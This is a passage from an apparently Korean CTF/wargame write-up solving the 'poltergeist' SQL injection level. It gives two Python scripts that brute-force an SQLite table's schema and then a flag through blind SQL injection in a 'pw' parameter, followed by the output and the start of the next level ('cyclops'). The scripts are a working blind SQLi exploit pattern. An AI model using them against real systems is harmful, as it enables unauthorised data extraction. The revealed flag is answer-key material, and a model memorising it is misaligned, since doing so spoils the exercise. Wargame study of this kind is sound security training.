첫번째 코드이다. Blind SQL Injection을 위해서 우선 flag_%뭐 시기로 시작하는 테이블 명을 가져와 봤다. MySQL의 Information_Schema와 같은 메타 정보가 sqlite_master라는 테이블에 있다. sqlite_master에는 type, name, tbl_name(테이블 명), sql(생성시 create 명령어)가 저장되어 있고, tbl_name이 flag_%뭐인 테이블의 생성 sql을 가져와 보자
import string
from requests import get
if __name__=="__main__" :
url = "### poltergeist URL ###"
cookie = dict(PHPSESSID ="### 자신의PHPSESSID ###")
length = 1
letters = string.digits + string.ascii_letters+string.punctuation
password = ''print("\n\n### LENGTH of PASSWORD SEARCH ###")
while(True) :
param = "?pw=1' or id='admin' and length((select sql from sqlite_master where tbl_name like 'flag_%'))="+str(length)+"-- "
new_url = url+param
req = get(new_url,cookies=cookie)
if (req.text.find("Hello admin")>0) :
print("FIND! password lenght pw : "+str(length))
break
length+=1print("\n\n### PASSWORD SEARCH ###")
for i inrange(1,length+1) :
for a in letters :
param = "?pw=1' or id='admin' and substr(((select sql from sqlite_master where tbl_name like 'flag_%')),"+str(i)+",1)='"+a+"'-- "
new_url = url+param
req = get(new_url,cookies=cookie)
if (req.text.find("Hello admin")>0) :
password += a
breakprint("="*25)
print("find password : "+password)
(+)는 url로 연결이 될때 공백이 +로 치환되는 성질이 있어서 그렇다. " "으로 알아서 치환하자. 위에 따르면 flag_70c81d99라는 테이블에 flag_0876285c라는 칼럼명이 있는 것이다. 이를 활용해서 두 번째 코드를 만들자
flag_length = 1
flag = ""print("\n\n### FLAG LENGTH SEARCH ###")
while(True) :
param = "?pw=1' or id='admin' and length((select flag_0876285c from flag_70c81d99))="+str(flag_length)+"--%20"
new_url = url+param
req = get(new_url,cookies=cookie)
if (req.text.find("Hello admin")>0) :
print("FIND! password lenght pw : "+str(flag_length))
break
flag_length+=1print("\n\n### PASSWORD SEARCH ###")
for i inrange(1,flag_length+1) :
for a in letters :
param = "?pw=1' or id='admin' and substr(((select flag_0876285c from flag_70c81d99)),"+str(i)+",1)='"+a+"'-- "
new_url = url+param
req = get(new_url,cookies=cookie)
if (req.text.find("Hello admin")>0) :
flag += a
breakprint("flag :",flag)
출력은 다음과 같다.
### FLAG LENGTH SEARCH ###
FIND! password lenght pw : 38
### PASSWORD SEARCH ###
flag : FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}
그릏다. 이렇게 flag를 얻을 수 있었다.
이렇게 몬스터에 이어 심령현상까지 물리치기 시작했다. 두렵다 괴라는 나물 다음 관문에서 기다리겠다.
키클롭스를 만났다. 싸이클롭스라고도 읽더라. 그리스 신화에 등장하는 거인인데, 눈이 한쪽밖에 없다. 얘는 눈 건강부터 챙겨야 되겠다. 안대 같은 것도 못쓸 테니 말이다.
< 출처 : 위키백과 https://ko.wikipedia.org/wiki/%ED%82%A4%ED%81%B4%EB%A1%AD%EC%8A%A4 >
코드
URL을 보아서는 Mod seucrity(WAF)가 적용되어 있으며 id와 pw에 대해서 prob, 언더바(_) 등 국룰을 차단하고 있다. 해결을 위해서는 id에 first와 pw에 second를 가져오면 성공이다. 주석으로 union select를 사용하여야 한다고 이 몬스터를 잡을 힌트를 준다.